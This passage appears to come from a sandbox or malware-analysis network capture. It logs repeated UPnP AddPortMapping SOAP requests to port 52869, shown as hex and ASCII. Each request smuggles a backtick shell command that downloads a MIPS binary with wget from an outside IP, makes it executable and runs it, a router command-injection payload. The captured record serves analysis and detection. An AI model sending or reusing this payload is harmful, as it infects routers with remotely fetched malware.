6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      72192.168.2.155984845.192.213.10052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:29.949080944 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:31.769913912 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:33.945763111 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:38.297627926 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:47.001403093 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:05.176947117 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:39.991919994 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
